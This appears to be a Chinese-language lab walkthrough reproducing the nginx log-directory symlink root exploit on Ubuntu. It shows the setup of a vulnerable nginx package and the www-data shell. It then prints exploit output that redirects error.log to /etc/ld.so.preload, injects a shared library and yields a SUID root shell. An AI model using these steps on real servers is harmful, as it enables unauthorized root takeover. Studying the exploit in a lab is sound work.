nginx@ubuntu:~$ sudo apt-get install nginx=1.4.6-1ubuntu3 Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation:
The following packages have unmet dependencies: nginx : Depends: nginx-core (< 1.4.6-1ubuntu3.1~) but it is not going to be installed or nginx-full (< 1.4.6-1ubuntu3.1~) but it is not going to be installed or nginx-light (< 1.4.6-1ubuntu3.1~) but 1.4.6-1ubuntu3.7 is to be installed or nginx-extras (< 1.4.6-1ubuntu3.1~) but it is not going to be installed or nginx-naxsi (< 1.4.6-1ubuntu3.1~) but it is not going to be installed E: Unable to correct problems, you have held broken packages.
因此安装一下nginx-full=1.4.6-1ubuntu3
1 2 3 4 5 6 7 8 9 10 11 12 13
nginx@ubuntu:~$ sudo apt-get install nginx-full=1.4.6-1ubuntu3 Reading package lists... Done Building dependency tree Reading state information... Done Some packages could not be installed. This may mean that you have requested an impossible situation or if you are using the unstable distribution that some required packages have not yet been created or been moved out of Incoming. The following information may help to resolve the situation:
The following packages have unmet dependencies: nginx-full : Depends: nginx-common (= 1.4.6-1ubuntu3) but 1.4.6-1ubuntu3.7 is to be installed E: Unable to correct problems, you have held broken packages.
nginx@ubuntu:~$ dpkg -l |grep nginx ii nginx 1.4.6-1ubuntu3 all small, powerful, scalable web/proxy server ii nginx-common 1.4.6-1ubuntu3 all small, powerful, scalable web/proxy server - common files ii nginx-full 1.4.6-1ubuntu3 i386 nginx web/proxy server (standard version)
查看文件夹权限
1 2
nginx@ubuntu:/var/log$ ls -ld ./nginx/ drwxr-x--- 2 www-data adm 4096 May 15 05:41 ./nginx/
nginx@ubuntu:/var/log/nginx$ gedit /etc/passwd ### to /bin/bash www-data:x:33:33:www-data:/var/www:/bin/bash
切换
1 2 3 4 5 6
nginx@ubuntu:~/Desktop$ su Password: root@ubuntu:/home/nginx/Desktop# sudo www-data sudo: www-data: command not found root@ubuntu:/home/nginx/Desktop# su www-data www-data@ubuntu:/home/nginx/Desktop$
[+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at: lrwxrwxrwx 1 www-data www-data 18 May 15 06:11 /var/log/nginx/error.log -> /etc/ld.so.preload
[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am...
[+] The server appears to be (N)jinxed (writable logdir) ! :) Symlink created at: lrwxrwxrwx 1 www-data www-data 18 May 15 06:11 /var/log/nginx/error.log -> /etc/ld.so.preload
[+] Waiting for Nginx service to be restarted (-USR1) by logrotate called from cron.daily at 6:25am...
[+] Nginx restarted. The /etc/ld.so.preload file got created with web server privileges: -rw-r--r-- 1 www-data root 19 May 15 06:12 /etc/ld.so.preload
[+] Adding /tmp/privesclib.so shared lib to /etc/ld.so.preload
[+] The /etc/ld.so.preload file now contains: /tmp/privesclib.so
[+] Escalating privileges via the /usr/bin/sudo SUID binary to get root! -rwsrwxrwx 1 root root 986672 May 15 06:11 /tmp/nginxrootsh